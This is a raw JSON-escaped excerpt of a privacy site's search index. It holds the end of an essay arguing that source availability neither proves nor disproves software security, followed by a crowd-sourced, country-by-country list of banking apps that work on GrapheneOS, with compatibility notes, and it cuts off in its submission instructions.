fuzz-friendly builds, and filtering out false-positives can be quite tedious without understanding high-level design.\nIt is certainly possible to notice a vulnerability in source code. Excluding low-hanging fruit typically caught by static code analysis and peer review, it\u0026rsquo;s not the main way most vulnerabilities are found nowadays (thanks to X_CLI for reminding me about what source analysis does accomplish.\nSoftware as a Service can be incredibly difficult to analyze, as we typically have little more than the ability to query a server. Servers don\u0026rsquo;t send core dumps, server-side binaries, or trace logs for analysis. Furthermore, it\u0026rsquo;s difficult to verify which software a server is running.14 For services that require trusting a server, access to the server-side software is important from both a security and a user-freedom perspective\nMost of this post is written with the assumption that binaries are inspectable and traceable. Binary obfuscation and some forms of content protection/DRM violate this assumption and actually do make analysis more difficult.\nBeyond source code, transparency into the development helps assure users of compliance with good security practices. Viewing VCS history, patch reviews, linter configurations, etc. reveal the standards that code is being held up to, some of which can be related to bug-squashing and security.\nPatience on Matrix also had a great response, which I agree with and adapt below:\nWhether or not the source code is available for software does not change how insecure it is. However, there are good security-related incentives to publish source code.\nDoing so improves vulnerability patchability and future architectural improvement by lowering the barrier to contribution. The fixes that follow can be shared and used by other projects across the field, some of which can in turn be used by the vendor. This isn\u0026rsquo;t a zero-sum game; a rising tide lifts all boats. It\u0026rsquo;s generally good practice to assume an attacker has full knowledge of a system instead of relying on security through obscurity. Releasing code provides strong assurance that this assumption is being made. It\u0026rsquo;s a way for vendors to put their money where their mouth is. Both Patience and Drew Vault argue that given the above points, a project whose goal is maximum security would release code. Strictly speaking, I agree. Good intentions don\u0026rsquo;t imply good results, but they can supplement good results to provide some trust in a project\u0026rsquo;s future.\nConclusion I\u0026rsquo;ve gone over some examples of how analyzing a software\u0026rsquo;s security properties need not depend on source code, and vulnerability discovery in both FLOSS and in proprietary software uses source-agnostic techniques. Dynamic and static black-box techniques are powerful tools that work well from user-space (Zoom) to kernel-space (Linux) to low-level components like Intel ME+AMT. Source code enables the vulnerability-fixing process but has limited utility for the evaluation/discovery process.\nDon\u0026rsquo;t assume software is safer than proprietary alternatives just because its source is visible; come to a conclusion after analyzing both. There are lots of great reasons to switch from macOS or Windows to Linux (it\u0026rsquo;s been my main OS for years), but security is low on that list.\nAll other things being mostly equal, FLOSS is obviously preferable from a security perspective; I listed some reasons why in the counter-arguments section. Unfortunately, being helpful is not the same as being necessary. All I argue is that source unavailability does not imply insecurity, and source availability does not imply security. Analysis approaches that don\u0026rsquo;t rely on source are typically the most powerful, and can be applied to both source-available and source-unavailable software. Plenty of proprietary software is more secure than FLOSS alternatives; few would argue that the sandboxing employed by Google Chrome or Microsoft Edge is more vulnerable than Pale Moon or most WebKitGTK-based browsers, for instance.\nReleasing source code is just one thing vendors can do to improve audits; other options include releasing test builds with debug symbols/sanitizers, publishing docs describing their architecture, and/or just keeping software small and simple. We should evaluate software security through study rather than source model. Support the right things for the right reasons, and help others make informed choices with accurate information. There are enough good reasons to support software freedom; we don\u0026rsquo;t need to rely on bad ones.\nWriting an alternative or re-implementation doesn\u0026rsquo;t require access to the original\u0026rsquo;s source code, as is evidenced by a plethora of clean-room re-implementations of existing software written to circumvent the need to comply with license terms.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIdeally well-documented, non-obfuscated code.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOr a JIT compiler, or a bunch of clockwork, or\u0026hellip;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFor completeness, I should add that there is one source-based approach that can verify correctness: formal proofs. Functional programming languages that support dependent types can be provably correct at the source level. Assuming their self-hosted toolchains have similar guarantees, developers using these languages might have to worry less about bugs they couldn\u0026rsquo;t find in the source code. This can alleviate concerns that their language runtimes can make it hard to reason about low-level behavior. Thanks to Adrian Cochrane for pointing this out.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFor example: C, C++, Objective-C, Go, Fortran, and others can utilize sanitizers from Clang and/or GCC.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThis is probably what people in The Matrix were using to see that iconic digital rain.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThis command only lists syscall names, but I did eventually follow the example of sandbox-app-launcher by allowing certain syscalls (e.g. ioctl) only when invoked with certain parameters. Also, I used ripgrep because I\u0026rsquo;m more familiar with PCRE-style capture groups.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDecrypting these packets typically involves saving and using key logs, or using endpoints with known pre-master secrets.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nI invite any modders who miss these debug symbols to check out the FLOSS Minetest, perhaps with the MineClone2 game.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSee page 127-130 of the Invisible Things Lab\u0026rsquo;s Quest to the Core slides. Bear in mind that they often refer to AMT running atop ME.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAs an aside: your security isn\u0026rsquo;t necessarily improved by \u0026ldquo;disabling\u0026rdquo; it, since it still runs during the initial boot sequence and does provide some hardening measures of its own (e.g., a TPM).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIn 2017, Calibre\u0026rsquo;s author actually wanted to stay with Python 2 after its EOL date, and maintain Python 2 himself. Users and package maintainers were quite unhappy with this, as Python 2 would no longer be receiving security fixes after 2020. While official releases of Calibre use a bundled Python interpreter, distro packages typically use the system Python package; Calibre\u0026rsquo;s popularity and insistence on using Python 2 made it a roadblock to getting rid of the Python 2 package in most distros. What eventually happened was that community members (especially Eli Schwartz and Flaviu Tamas submitted patches to migrate Calibre away from Python 2. Calibre migrated to Python 3 by version 5.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux distributions\u0026rsquo; CFI+ASLR implementations rely executables compiled with CFI+PIE support, and ideally with stack-smashing protectors and no-execute bits. These implementations are flawed (see On the Effectiveness of Full-ASLR on 64-bit Linux and Brad Spengler\u0026rsquo;s presentation comparing these with PaX\u0026rsquo;s own implementation).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe best attempt I know of leverages Trusted Execution Environments, but for limited functionality using an implementation that\u0026rsquo;s far from bulletproof.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/floss-security/","summary":"While source code is critical for user autonomy, it isn\u0026rsquo;t required to evaluate software security or understand run-time behavior.\nOne of the biggest parts of the Free and Open Source Software definitions is the freedom to study a program and modify it; in other words, access to editable source code. I agree that such access is essential; however, far too many people support source availability for the wrong reasons. One such reason is that source code is necessary to have any degree of transparency into how a piece of software operates, and is therefore necessary to determine if it is at all secure or trustworthy.","title":"FLOSS Security"},{"content":"Maintained Compatibility List for International Banking Apps\nThis list includes banking apps that have been tested, submitted, reviewed, and verified as compatible.\nLIST | SUBMIT | UPDATE | POSSIBLE WORKAROUND SOLUTIONS\nIntroduction Welcome to the crowd-sourced dataset for GrapheneOS users on currently supported devices.\nNew visitors are encouraged to read the official usage guide on banking apps for comprehensive details about how these apps function on GrapheneOS.\nIMPORTANT Please read GrapheneOS\u0026rsquo;s important announcement, officially released on Dec 1, 2023:\nX | Mastodon | Bluesky\nAlso available as a pinned issue, detailing the latest developments about SafetyNet\u0026rsquo;s replacement by Play Integrity API, which could impact some banking apps\u0026rsquo; compatibility with GrapheneOS after the app updates.\nInternational banking apps Avalanche Card - Report Binance: Buy Bitcoin \u0026amp; Crypto - Report Curve - Your Smart Wallet - Report eToro: Trade. Invest. Connect. - Report iCard – beyond a wallet - Report Klarna | Shop now. Pay later. - Report Moneco - Report Payoneer - Report PayPal - Send, Shop, Manage - Report Paysend Money Transfer App - Report RedotPay: Crypto Card \u0026amp; Pay - Report Revolut - Mobile Finance - Report Swoo: digital wallet - Report UnionPay APP - Report Wero - Report Wise - Report ZEN.COM for peaceful payments - Report National banking apps Algeria BaridiMob - Report Argentina Galicia - El banco en tu celu - Report Armenia acba digital - Report Converse Mobile - Report Idram \u0026amp; IDBank - Report Australia ANZ Australia - Report ANZ Plus - Report Bank Australia App - Report BankVic Mobile Banking - Report Bankwest - Report Bank of Melbourne Banking - Report Bendigo Bank - Report CoinSpot - Buy \u0026amp; Sell Bitcoin - Report CommBank - Report Gateway Bank - Report HSBC Australia - Report ING Australia Banking - Report Macquarie Mobile Banking - Report ME Bank - Report ME Go - Report myBOQ - Report MyState: The human way to bank - Report NAB Mobile Banking - Report Stake – Stocks | ETFs | SMSF - Report St.George Mobile Banking - Report Ubank Money App - Report UniBank Australia - Report Up — Easy Money - Report Westpac - Report Austria bank99 | Online Banking ex-ING - Report Bank Austria MobileBanking - Report BAWAG Banking App - Report complete Control - Report easybank App - Report flatex next AT: Aktien und ETF - Report George Österreich - Report ID Austria - Report Mein ELBA-App - Report RaiPay – Raiffeisen Österreich - Report Renault Bank direkt - Report s Identity - Report Wüstenrot App - Report Bangladesh bKash - Report Belarus Belinvestbank (Белинвестбанк) - Report BELKART PAY - Report DailyFin (Белгазпромбанк) - Report INSNC: Mobile Banking, Bank (Альфа-Банк) - Report iParitet - Report МТБанк Moby (MTBank) - Report Oplati (Оплати) - Report Prior Online (Приорбанк) - Report Belgium Argenta Banking - Report Belfius Mobile - Report Beobank Mobile - Report CBC Mobile - Report Crelan Mobile App - Report Easy Banking App - Report Europabank eb online - Report Hello Bank Belgium - Report ING Banking - Report itsme - Report KBC Mobile - Report Keytrade Bank - Report MeDirect - Report mobile@vdk - Report MyCPH Mobile - Report Payconiq by Bancontact - Report Santander Consumer Bank - Report Triodos Banking BE - Report Brazil Banco da Amazônia - Report Banco do Brasil: abrir conta - Report Banco Itaú: Conta, Cartão e + - Report Bradesco: Conta, Cartão e Pix! - Report Bradesco Net Empresa - Report CAIXA - Report gov.br - Report Inter\u0026amp;Co: Conta, Cartão e Pix - Report Nomad: Conta em Dólar e Cartão - Report Nubank: conta, cartão e mais - Report Santander Brasil - Report Santander Empresas - Report Santander Way: App de cartões - Report Sicoob - Report Sicredi X - Report XP Investimentos - Report Bulgaria Bulbank Mobile - Report Secure app spawning must be disabled for this app to run! KBC Mobile Bulgaria - Report My Fibank - Report Cambodia ABA Mobile - Report Canada Affinity Mobile - Report Amex Canada - Report ATB Personal - Mobile Banking - Report BMO Mobile Banking - Report CIBC Mobile Banking® - Report Coast Capital Savings - Report connectFirst - Report EQ Bank Mobile Banking - Report HSBC Canada - Report IBKR Mobile - Report KOHO: Canada\u0026rsquo;s Money App - Report MBNA Canada - Report PC Financial Mobile - Report QuestMobile: Invest \u0026amp; Trade - Report RBC Mobile - Report Rogers Bank - Report Scotiabank Mobile Banking - Report Services mobiles Desjardins - Report Servus Mobile Banking - Report Simplii Financial - Report Tangerine Mobile Banking - Report TD Authenticate - Report This 2FA app is broken on GrapheneOS, but can be set up if you have a second phone in reach. The TD apps work fine otherwise. TD Canada - Report TD Easy Trade - Report Wealthsimple - Grow your money - Report Chile App Scotia - Report BancoEstado - Report Mi Banco Edwards - Report Santander Chile - Report China 中国农业银行 (Agricultural Bank of China) - Report 支付宝 (Alipay) - Report 交通银行 (Bank of Communications) - Report 中国工商银行中国工商银行 (Industrial and Commercial Bank of China) - Report 中国银行 - Report 招商银行 (China Merchants Bank) - Report 中信银行 (Citic Bank) - Report 兴业银行 (Industrial Bank) - Report 中国邮政储蓄银行 (Postal Savings Bank of China) - Report 上海浦东发展银行 (Shanghai Pudong Development Bank) - Report Colombia Bancolombia Personas - Report Banco Falabella Colombia - Report BBVA Colombia - Report Davivienda - Report Mi Bancolombia - Report Nequi Colombia - Report Costa Rica Scotiabank CR, Banca Móvil - Report Croatia Erste mBanking - Report George Croatia - Report KEKS Pay - Report mHPB - Report mojaRBA BIZ - Report m-zaba - Report m-zabaPS - Report PBZ mobile banking application - Report PBZ mobile banking for BE - Report Cyprus Bank Of Cyprus - Report Czech Republic CREDITAS Banking - Report ČSOB Smart - Report You can\u0026rsquo;t open an account through the app but the rest works. ČSOB Smart Key - Report Fio Smartbanking CZ - Report George Česko - Report KB+ - Report KB Klíč - Report KB Mobilní banka - Report mBank CZ - Report My Air - Report Raiffeisen bankovnictví - Report Smart Banka - Report Denmark AL-Bank - Report Jyske Bank - Report MitID - Report Mobilbank DK – Danske Bank - Report Mobilbank MiddelfartSparekasse - Report MobilePay - Report Nordea Mobile - Denmark - Report Ecuador Banco del Pacífico - Report Banco Guayaquil - Report PICHINCHA BANCA MÓVIL - Report Egypt CIB Mobile Banking App - Report NBE Mobile - Report Estonia Swedbank Eestis - Report Finland Aktia Mobile Bank - Report Holvi – Business banking - Report Morrow Bank - Report MyEdenred - Report Nordea ID - Report Nordea Mobile - Finland - Report OP-mobiili - Report POP Mobiili - Report POP Avain -tunnuslukusovellus - Report Säästöpankki Mobiili - Report S-mobiili - Report France AXA Banque France - Report Banque Populaire - Report Banxo - Report BoursoBank - Report Play Integrity usage must be blocked for this app to run! Chèque-Vacances - Report CIC banque: Compte \u0026amp; Assurance - Report CIC Pay : paiement mobile - Report Credit Coopératif - Report Crédit Mutuel Banque en ligne - Report Crédit Mutuel de Bretagne - Report Fortuneo, ma Banque \u0026amp; Bourse - Report France Identité - Report Hello bank! - Report L\u0026rsquo;Appli SG - Report La Banque Postale - Report Ma Banque - Report Mes Comptes CCF - Report Mes Comptes BNP Paribas - Report Mes Comptes - LCL - Report Secure app spawning must be disabled for this app to run! Mon Epargne - Report Nickel - An account for all - Report Qonto - Business Finance App - Report Germany 1822direkt Banking - Report 1822direkt QRTAN+ - Report 1822TAN+ - Report apoTAN - Report This app does not currently work on the Pixel 10 series! BBBank-Banking - Report BISON - Buy Bitcoin \u0026amp; Co - Report BW Mobilbanking Phone + Tablet - Report BW pushTAN pushTAN der BW-Bank - Report C24 Bank - Report comdirect - Report comdirect photoTAN App - Report Commerzbank Banking - Report Commerzbank photoTAN - Report App2App functionality doesn\u0026rsquo;t work. Consorsbank - Report Consorsbank SecurePlus - Report Deutsche Bank Mobile - Report Digitales Bezahlen - Report DKB - Report ElsterSecure - sicherer Login - Report finanzen.net zero Aktien \u0026amp; ETF - Report finanzen.net zero Secure TAN - Report flatex next: Aktien und ETF - Report FNZbanking - Report GLS Banking - Report GLS mBank Classic - Report Hanseatic Bank Mobile - Report Hanseatic Bank Secure - Report ING Banking to go - Report Kontist - Report KT Bank Mobile Banking - Report N26 — Love your bank - Report This app has started using Play Integrity to block new signups, existing accounts continue to work fine for now. norisbank App - Report OLB appTAN - Report Pay – Die Bezahl-App - Report Penta — Business Banking App - Report Postbank - Report PSD Banking - Report Santander Banking - Report Scalable Capital: ETF \u0026amp; Stocks - Report SecureGo+ Renault Bank direkt - Report SecureGo plus - Report SMARTBROKER+ Aktien \u0026amp; ETF - Report SpardaBanking App - Report SpardaSecureApp - Report SpardaSecureGo+ - Report Sparkasse Ihre mobile Filiale - Report S-pushTAN - sichere Freigaben - Report SumUp Pay: mobile Finanzen - Report TARGOBANK Mobile Banking - Report TEO - Das neue Multibanking - Report Tomorrow: Mobile Banking - Report Trade Republic: Broker \u0026amp; Bank - Report VR Banking - einfach sicher - Report VR SecureGo plus - Report VW Financial Services photoTAN - Report Ghana SC Mobile Ghana - Report Greece Eurobank Mobile App - Report myAlpha Mobile - Report NBG Mobile Banking - Report winbank app) - Report Hong Kong 天星銀行Airstar Bank - Report BOCHK中銀香港 - Report DBS IDEAL Mobile - Report Hang Seng Personal Banking - Report HSBC HK Mobile Banking - Report inMotion by CNCBI - Report OCBC Hong Kong - Report Octopus - Report Hungary George Magyarország - Report GRÁNIT eBank - Report K\u0026amp;H mobilbank - Report MagNet MobilBank - Report my Raiffeisen mobile app - Report OTP Bank HU - Report Simple Classic #MakeItEasy - Report UniCredit mBanking - Report Iceland Arion banki - Report indó - Report Íslandsbanki - Report Landsbankinn - Report Sparisjóðurinn - Report India Axis Mobile: Pay, Invest \u0026amp; UPI - Report Bajaj Finserv: UPI,Loan,FD,MF - Report BHIM Bharat\u0026rsquo;s Own Payments App - Report BHIM PNB - Report BHIM SBI Pay:Retail \u0026amp; Business - Report bob World:Banking \u0026amp; Experience - Report BOI Mobile - Report Cent Mobile - Report Federal Bank - FedMobile - Report HDFC Bank App: Banking \u0026amp; Cards - Report HDFC Bank Digital Rupee - Report HDFC Bank MobileBanking App - Report IDFC FIRST Bank: MobileBanking - Report iMobile Pay: Banking, UPI - Report IndSMART IndianBank Mobile App - Report Kotak Bank: 811 Mobile App - Report Kotak Mobile Banking App - Report Paytm: Secure UPI Payments - Report PhonePe UPI, Payment, Recharge - Report PNB ONE - Report slice - Report Vyom - Union Bank of India - Report YONO SBI: Banking \u0026amp; Lifestyle - Report Yono Lite SBI - Mobile Banking - Report Indonesia BCA Mobile - Report OCBC mobile Indonesia - Report Permata ME - Report Ireland AIB Mobile - Report Bank of Ireland Mobile Banking - Report Israel bit ביט - Report הבנק הבינלאומי - Report כאל- הטבות, מידע, אשראי - Report ישראכרט - ארנקים, אשראי והטבות - Report max - Report פייבוקס ארנק דיגיטלי - PayBox - Report בנק דיסקונט - Report Italy Banca Etica - Report BBVA Italia | Banca Online - Report BNL - Report Fineco - Report HYPE - Report illimity - Report Inbank - Report ING Italia - Report Intesa Sanpaolo Mobile - Report isybank - Report Mediolanum - Report Mobile Banking UniCredit - Report Satispay - Report Sella - Report Webank - Conto online - Report YouApp – Banco BPM Mobile - Report Japan AEON Wallet - Report GMOあおぞらネット銀行 取引アプリ - Report Habitto - Report iDアプリ （MVNO/SIMロックフリー端末版） - Report iAEON - Report Japan Post Bank Authenticator - Report Japan Post Bank Passbook - Report J-Coin Pay｜お得で便利なスマホ決済アプリ - Report Mizuho Direct App みずほ銀行ダイレクト　アプリ - Report MyJCB - Report 住信SBIネット銀行 - NEOBANK - Report Secure app spawning must be disabled for this app to run! 第一生命NEOBANK - Report PayPay-ペイペイ - Report Rakuten Pay - 楽天ペイ - 楽天ポイントカードも利用できるスマホ決済アプリ - Report SBI新生銀行 - Report Secure app spawning must be disabled for this app to run! Sony Bank WALLET - Report 三菱ＵＦＪ銀行 - Report 三井住友銀行アプリ - Report Secure app spawning may have to be disabled for this app to run! 京銀アプリ - Report りそなグループアプリ - Report エポスアプリ - Report ワンタイムパスワード - Report Kazakhstan Alatau City Bank - Report Altyn-i - Report bcc.kz - Report Eurasian Bank - Report Freedom Banker - Report Freedom SuperApp - Report While the Google Play version does not work due to Play Integrity, you can circumvent the problem by using the Huawei version. ForteApp – online bank - Report Halyk Kazakhstan - Report Play Integrity usage must be blocked for this app to work properly! Home.kz от Home Credit Bank - Report Kaspi.kz суперприложение - Report My RBK - Report Kyrgyzstan My O! + Bank (Мой О! + Банк) - Report Latvia Citadele Bank - Report Luminor Latvija - Report Swedbank Latvia - Report Luxembourg LuxTrust Mobile - Report S-Net Mobile - Report Lithuania Artea - Report Paysera Super App - Report SEB Lithuania - Report Swedbank Lietuva - Report Macau BNU - Report BOC Macau - Report Malaysia CIMB Clicks Malaysia - Report MAE by Maybank2u - Report Maybank2u MY - Report Touch \u0026rsquo;n Go eWallet - Report Mexico App Banamex - Report Banorte Movil - Report BBVA México - Report HSBC México - Report Klar: Crédito, Cuenta y Ahorro - Report Mercado Pago: cuenta digital - Report Nu - Report SuperMóvil - Report Vexi - Report Moldova maibank - Report Netherlands ABN AMRO - Report ASN Bank (De Volksbank) - Report bunq - Report DEGIRO: Stock Trading App - Report ING Bankieren - Report Knab Bankieren - Report Rabobank - Report Regio Bank (De Volksbank) - Report SNS Bank (De Volksbank) - Report Triodos Bankieren NL - Report This app is currently broken on the Pixel 10 series! New Zealand ANZ goMoney New Zealand - Report ASB Mobile Banking - Report Kiwibank Mobile Banking - Report The Co-operative Bank (NZ) - Report Westpac One NZ Mobile Banking - Report Norway BankID - Report Bank Norwegian - Report Bulder - Report DNB - Report This app is currently broken on the Pixel 10 series! DNB Bedrift - Report Eika Mobilbank - Report KLP Mobilbank - Report Kron - Investering for alle - Report Morrow Bank - Report Nordea Mobile - Norge - Report Nordnet: Stocks \u0026amp; Funds - Report Sbanken - Report This app is currently broken on the Pixel 10 series! Spare - Report SpareBank 1 Mobile Banking - Report Sparebanken Sogn og Fjordane - Report Sparebanken Vest - Report Trumf Visa - Report Vipps - Report Pakistan Alfa by Bank Alfalah - Report digiBOP- Simple|Speedy|Secure - Report easypaisa – a digital bank - Report HBL Mobile - Report JazzCash - Your Mobile Account - Report SadaPay: Money made simple - Report Panama Banca Móvil CA - Report Banca Móvil de Banco General - Report Banesco PA - Report Peru BBVA Perú - Report Yape - Report Philippines BPI - Report GCash - Report GoTyme Bank - Report RCBCpulz - Report Security Bank App - Report Poland Alior Mobile - Report Bank Millennium - Report IKO - Report Kantor Walutowy Alior Banku - Report mBank PL - Report Moje ING mobile - Report Nest Bank - Report PeoPay - Report Santander Consumer Bank - Report Santander mobile - Report VeloBank - Report Portugal ActivoBank - Report App novobanco - Report ActivoBank - Report Banco BiG | Portugal - Report Bankinter Portugal - Report Santander Portugal - Report BPI APP - Report Caixadirecta Empresas - Report Caixadirecta - Report CA Mobile - Report MB WAY - Report Millenniumbcp - Report moey! - Report M24 - Report Openbank – banca móvil - Report Romania BT Pay - Report App falsely considers GrapheneOS to be rooted. Most users have success reaching out to customer support who will often restore access. George Romania - Report ING HomeBank - Report Libra Mobile Banking - Report Raiffeisen Smart Mobile - Report Salt Bank - Report UniCredit RO - Mobile Banking - Report Russia Alfa-Bank - Report Mir Pay - Report VTB - Report Сбербанк (Sberbank) - Report T-Bank - Report Yandex Pay - Report Райффайзен Онлайн Банк Россия - Report Serbia George Srbija - Report Moja mBanka - Report RaiPay Raiffeisen bank Srbija - Report Yettel Bank - Report Singapore Amex Singapore - Report BigPay – financial services - Report Chocolate Finance - Report CIMB Clicks Singapore - Report Citibank SG - Report DBS digibank - wealth - Report DBS IDEAL Mobile - Report DBS PayLah! - Report Grab - Taxi \u0026amp; Food Delivery - Report GXS Bank - Report iChange - Report Instarem: Send money overseas - Report MariBank - Report OCBC Business - Report OCBC Digital - Mobile Banking - Report SC Mobile Singapore - Report SFL Go - Report SIF Mobile - Report Trust Bank SG - Report UOB TMRW - Report Slovakia 365.bank - Report Fio Smartbanking SK - Report George Slovakia - Report mBank SK - Report SmartBanking - Report Tatra banka - Report VÚB Banking - Report VÚB Mobile Banking - Report Slovenia DH Denarnik - Report DH Mobilni - Report INTESA SANPAOLO BANK MOBILE - Report NLB Klik Slovenia - Report NLB Pay - Report South Africa Capitec Bank - Report FNB Banking App - Report Standard Bank / Stanbic Bank - Report South Korea PAYCO - Report Secure app spawning must be disabled for this app to run! SC Mobile Banking - Report Secure app spawning must be disabled for this app to run! 하나은행, 하나원큐는 돈기운 가득한 은행 앱 - Report 웰컴디지털뱅크(웰컴저축은행) - Report 우리은행 우리WON뱅킹 - Report 토스 - Report KB국민은행 스타뱅킹 - Report 신한 SOL뱅크-신한은행 스마트폰 뱅킹 - Report 삼성카드 - Report 네이버페이 - Report 우체국뱅킹 - Report 미래에셋증권 M-STOCK - Report Secure app spawning must be disabled for this app to run! 현대카드 - Report Secure app spawning must be disabled for this app to run! 카카오뱅크 - Report 카카오페이 - Report Spain ABANCA - Mobile Banking - Report Banca March - Report Banco Sabadell App - Report Banco Santander - Report BBVA Spain | Online Banking - Report BBVA Pay works but you need to disable secure app spawning! B100 - The Healthy Banking - Report CaixaBankNow - Report CaixaBank Sign - Digital sign - Report Caja Ingenieros Banca MÓVIL - Report EVO Banco móvil - Report imagin: Mobile Bank, Finances - Report MyInvestor · Banco \u0026amp; Inversión - Report Openbank – banca móvil - Report Unicaja | Banca Online - Report Western Union Send Money - Report Sri Lanka FriMi - Report Sweden Amex SE - Report Avanza - Report BankID security app - Report Handelsbanken SE - Privat - Report ICA Banken - Report Kivra Sweden - Report Länsförsäkringar - Report Mobilbank SE — Danske Bank - Report Morrow Bank - Report Nordea Mobile - Sweden - Report Nordnet: Stocks \u0026amp; Funds - Report SBAB - Report SEB - Report Swedbank plånbok! - Report Swedbank private - Report Swish payments - Report Switzerland ABS Mobile Banking - Report ABS TWINT - Report AGOV access - Report Secure app spawning must be disabled for this app to run! Airlock 2FA - Report Alpian - Banking \u0026amp; Investing - Report BCN Mobile banking - Report BCV Mobile - Report BEKB App – Mobile Banking - Report BEKB TWINT - Report BKB Digital Banking - Report Cembra App - Report Secure app spawning must be disabled for this app to run! Credit Suisse – CSX - Report debiX+ - Report Migros Bank E-Banking - Report neon - your account app - Report PostFinance App - Report Prepaid TWINT \u0026amp; other banks - Report radicant: next-generation Bank - Report Raiffeisen E-Banking - Report Raiffeisen PhotoTAN - Report Raiffeisen TWINT - Report Swisscard - Report Swissquote - Report This app officially supports GrapheneOS! UBS Access: Secure login - Report UBS TWINT - Report UBS \u0026amp; UBS key4 - Report ZKB Access - Report ZKB Mobile Banking - Report ZKB TWINT - Report Yuh - Your App. Your Money. - Report This app officially supports GrapheneOS! Taiwan 彰銀行動銀行ChaiBo - Report 彰銀行動網 - Report 行動郵局 - Report 國泰世華 行動銀行 - Report e動郵局 - Report 一卡通 iPASS MONEY - Report 中國信託行動銀行 Home Bank - Report 將來銀行 NEXT BANK - Report 台新銀行 「行動銀行」 - Report 兆豐銀行 - Report Thailand Bangkok Bank Mobile Banking - Report K PLUS - Report krungsri - Report Krungthai NEXT - Report SCB Easy - Report ShopeePay - Report TrueMoney - Pay \u0026amp; Earn Coins - Report UOB TMRW Thailand - Report Turkey Enpara.com Cep Şubesi - Report İşCep: Banking \u0026amp; Finance - Report Ukraine Ощад - Report KredoBank: ваш мобільний банк - Report Privat24 - Report monobank — банк у телефоні - Report Uzbekistan Uzum Bank onlayn. O\u0026rsquo;zbekiston - Report United Arab Emirates ADCB - Report DIB alt mobile banking - Report EI + - Report ENBD X - Report FAB Mobile - Report HSBC UAE - Report Wio Personal - Report United Kingdom AIB (NI) Mobile - Report Amex United Kingdom - Report Bank of Scotland Mobile App - Report Barclaycard - Report This app only runs in the owner profile and secure app spawning may have to be disabled! Barclays - Report This app only runs in the owner profile and secure app spawning may have to be disabled! Capital On Tap - Report Chase UK - Report Chip - Savings and Investments - Report Coventry Building Society - Report Cynergy Bank Authenticator - Report The Co-operative Bank - Report first direct - Report Halifax Mobile Banking - Report HSBC UK Mobile Banking - Report InvestEngine: ETF Investing - Report J.P. Morgan Personal Investing - Report Kroo Bank - Mobile Banking - Report Lloyds Bank Mobile Banking - Report Marcus by Goldman Sachs® - Report Secure app spawning must be disabled for this app to run! MBNA Mobile App - Report Monzo Bank - Mobile Banking - Report Metro Bank - Report Secure app spawning must be disabled for this app to run! M\u0026amp;S Banking - Report Nationwide Banking App - Report NatWest Mobile Banking - Report Nomo Bank - Report Royal Bank of Scotland - Report Santander Mobile Banking - Report Secure app spawning may have to be disabled for this app to run! Starling Bank - Mobile Banking - Report Tesco Bank and Clubcard Pay+ - Report Tide – Mobile Business Banking - Report Trading 212: Stocks, ETFs, ISA - Report Triodos Bank UK - Report TSB Mobile Banking - Report Ulster Bank NI Mobile Banking - Report Vanquis Credit Card - Report Virgin Money Mobile Banking - Report Zopa Bank - Report United States ADP Mobile Solutions - Report Alliant Mobile Banking - Report Ally: Banking \u0026amp; Investing - Report America First Mobile Banking - Report AmeriCU Credit Union - Report This app officially supports GrapheneOS! Amex - Report You can\u0026rsquo;t mark your device as trusted so you will have to authenticate yourself with 2FA every time you open this app. Arizona Financial Mobile - Report Axos All-In-One Mobile Banking - Report Bank of America Mobile Banking - Report BECU - Report Beneficial State Bank Mobile - Report Betterment Invest \u0026amp; Save Money - Report Capital One Mobile - Report Card by FNBO - Report Cash App - Report CEFCU Mobile Banking - Report Chase Mobile - Report Chime – Mobile Banking - Report Citadel Mobile Banking - Report CitiManager – Corporate Cards - Report Citi Mobile® - Report Citizens Bank Mobile Banking - Report Coinbase: Buy BTC, ETH, SOL - Report CommunityAmerica Mobile - Report Connex Credit Union Mobile - Report Consumers Credit Union - Report CoreFirst Bank \u0026amp; Trust Mobile - Report Crew Finance - Report DCU Digital Banking - Report Discover Mobile - Report E*TRADE: Invest. Trade. Save. - Report East West Bank Mobile - Report Enterprise Bank \u0026amp; Trust Mobile - Report Essex Bank CT - Report Fidelity Bloom®: Save \u0026amp; Spend - Report Fidelity Investments - Report Fifth Third Mobile Banking - Report First Entertainment Mobile - Report First Merchants Mobile - Report First Savings Bank Personal - Report GreenState CU Mobile - Report Grow Mobile Banking - Report GTE Mobile - Report GTE Cards - Report Huntington Mobile Banking - Report Logix Banking - Report M\u0026amp;T Mobile Banking - Report Mainstreet Credit Union - Report Mascoma Bank - Report Morgan Stanley Wealth Mgmt - Report MSUFCU Mobile - Report NASA FCU - Report Navy Federal Credit Union - Report NB|AZ Mobile Banking - Report Old Glory Bank - Report OnPoint Mobile - Report Openbank U.S. - Report Pentagon Federal Credit Union - Report PSECU Mobile - Report SchoolsFirst FCU Mobile - Report Schwab Mobile - Report Service CU Mobile Banking - Report SoFi - Banking \u0026amp; Investing - Report Suncoast SunMobile - Report TD Bank (US) - Report Texans CU - Report Truist Mobile - Report University Credit Union - Report USAA Mobile - Report U.S. Bank Mobile Banking - Report Valley Strong Mobile Banking - Report Venmo - Report Verizon Visa Card - Report WECU Mobile - Report Wells Fargo Mobile - Report Westerra Credit Union - Report WSECU Mobile Banking - Report Venezuela Bancamiga Suite - Report Banesco VE - Report BDV - Report Vietnam AB Ditizen - Report Agribank Plus - Report MB Bank - Report MoMo -Trợ thủ Tài chính với AI - Report OCB OMNI 4.0 - Report Sacombank Pay - Report This app currently works if you perform DNS filtering on some domains. SHB Mobile Banking - Report VietinBank iPay - Report Prerequisites This section covers how to submit or update a banking app report.\nSubmit a new app report There are several methods for GrapheneOS users to contribute their banking app report:\nMethod Description Action GitHub Fill out the form on the issue tracker using your GitHub account SUBMIT REPORT Non-GitHub View gist → Raw → Save template markdown file to fill out. Gist Curl Terminal → curl -O → paste copied url (gist form .md template) ⟶ Copy link address 